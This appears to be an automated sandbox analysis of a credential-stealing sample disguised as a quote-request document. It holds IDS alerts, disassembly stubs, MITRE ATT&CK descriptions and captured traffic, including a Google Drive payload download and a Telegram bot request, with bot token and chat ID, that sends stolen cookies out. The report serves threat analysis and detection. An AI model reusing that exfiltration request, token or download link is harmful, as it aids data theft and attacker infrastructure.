Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49987 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49958 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49970 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49946 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49913 -> 172.217.19.174:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49965 -> 172.67.177.134:443

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 0016F45Dh	4_2_0016F2C0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 0016F45Dh	4_2_0016F4AC
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 0016FC19h	4_2_0016F974
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398A31E0h	4_2_398A2DC8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398A2C19h	4_2_398A2968
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398A0D0Dh	4_2_398A0B30
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398A1697h	4_2_398A0B30
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398ADC51h	4_2_398AD9A8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398A31E0h	4_2_398A2DC2
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398A31E0h	4_2_398A310E
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398AD7F9h	4_2_398AD550
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398ACF49h	4_2_398ACCA0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398AD3A1h	4_2_398AD0F8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398AFAB9h	4_2_398AF810
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_398A0040
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398AF661h	4_2_398AF3B8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398AEDB1h	4_2_398AEB08
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398AF209h	4_2_398AEF60
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398AE959h	4_2_398AE6B0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398AE0A9h	4_2_398ADE00
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398AE501h	4_2_398AE258
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C9280h	4_2_398C8FB0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C7EB5h	4_2_398C7B78
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C1449h	4_2_398C11A0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CECAEh	4_2_398CE9E0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C18A1h	4_2_398C15F8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CCCBEh	4_2_398CC9F0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C0FF1h	4_2_398C0D48
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CE81Eh	4_2_398CE550
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CC82Eh	4_2_398CC560
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C6733h	4_2_398C6488
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then mov esp, ebp	4_2_398CB089
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C0741h	4_2_398C0498
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CE38Eh	4_2_398CE0C0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CC39Eh	4_2_398CC0D0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C0B99h	4_2_398C08F0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C32B1h	4_2_398C3008
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CDEFEh	4_2_398CDC30
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C62D9h	4_2_398C6030
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CBF0Eh	4_2_398CBC40
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C02E9h	4_2_398C0040
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C3709h	4_2_398C3460
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C5A29h	4_2_398C5780
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CFA5Eh	4_2_398CF790
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CDA6Eh	4_2_398CD7A0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CBA7Eh	4_2_398CB7B0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C2E59h	4_2_398C2BB0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C5E81h	4_2_398C5BD8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CF5CEh	4_2_398CF300
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C25A9h	4_2_398C2300
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CD5DEh	4_2_398CD310
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C55D1h	4_2_398C5328
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CB5EEh	4_2_398CB320
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C79C9h	4_2_398C7720
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C2A01h	4_2_398C2758
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CD14Eh	4_2_398CCE80
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C2151h	4_2_398C1EA8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C7571h	4_2_398C72C8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C5179h	4_2_398C4ED0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C6CC1h	4_2_398C6A18
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C48C9h	4_2_398C4620
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C1CF9h	4_2_398C1A50
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C4D21h	4_2_398C4A78
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398C7119h	4_2_398C6E70
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 398CF13Eh	4_2_398CEE70
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A606970h	4_2_3A606678
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A606347h	4_2_3A605FD8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A600C2Eh	4_2_3A600960
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A608158h	4_2_3A607E60
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60AC60h	4_2_3A60A968
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60D768h	4_2_3A60D470
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A604746h	4_2_3A604478
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60030Eh	4_2_3A600040
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A606E38h	4_2_3A606B40
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A605E16h	4_2_3A605B48
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A609940h	4_2_3A609648
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60C448h	4_2_3A60C150
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A603E26h	4_2_3A603B58
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60EF50h	4_2_3A60EC58
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60F418h	4_2_3A60F120
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A6054F6h	4_2_3A605228
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A608620h	4_2_3A608328
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60B128h	4_2_3A60AE30
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A603506h	4_2_3A603238
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60DC30h	4_2_3A60D938
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60E0F8h	4_2_3A60DE00
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A604BD7h	4_2_3A604908
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A607300h	4_2_3A607008
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A6019DEh	4_2_3A601710
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A609E08h	4_2_3A609B10
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A602BE6h	4_2_3A602918
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60C910h	4_2_3A60C618
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60CDD8h	4_2_3A60CAE0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A6042B6h	4_2_3A603FE8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60F8E0h	4_2_3A60F5E8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A6010BEh	4_2_3A600DF0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A608AE8h	4_2_3A6087F0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A6022C6h	4_2_3A601FF8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60B5F0h	4_2_3A60B2F8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60BAB8h	4_2_3A60B7C0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A603996h	4_2_3A6036C8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60E5C0h	4_2_3A60E2C8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60079Eh	4_2_3A6004D0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A6077C8h	4_2_3A6074D0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60A2D0h	4_2_3A609FD8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A601E47h	4_2_3A601BA0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60A798h	4_2_3A60A4A0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A603076h	4_2_3A602DA8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60D2A0h	4_2_3A60CFA8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60FDA8h	4_2_3A60FAB0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A605986h	4_2_3A6056B8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A608FB0h	4_2_3A608CB8
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60154Eh	4_2_3A601280
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A609478h	4_2_3A609180
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A602756h	4_2_3A602488
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60BF80h	4_2_3A60BC88
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A60EA88h	4_2_3A60E790
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A605066h	4_2_3A604D98
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A607C90h	4_2_3A607998
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A631FE8h	4_2_3A631CF0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A630338h	4_2_3A630040
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A631B20h	4_2_3A631828
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A631190h	4_2_3A630E98
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A631658h	4_2_3A631360
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A630801h	4_2_3A630508
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then jmp 3A630CC8h	4_2_3A6309D0
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A673E70
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A673E60
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A670A10
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A6708DE
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A670960
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A670D26

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:887849%0D%0ADate%20and%20Time:%2003/12/2024%20/%2009:32:16%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20887849%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd137d6647c870Host: api.telegram.orgContent-Length: 1281

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1lgdW6QYobumFhnMWuJXQIs7wQ7eWkw80 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1lgdW6QYobumFhnMWuJXQIs7wQ7eWkw80&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
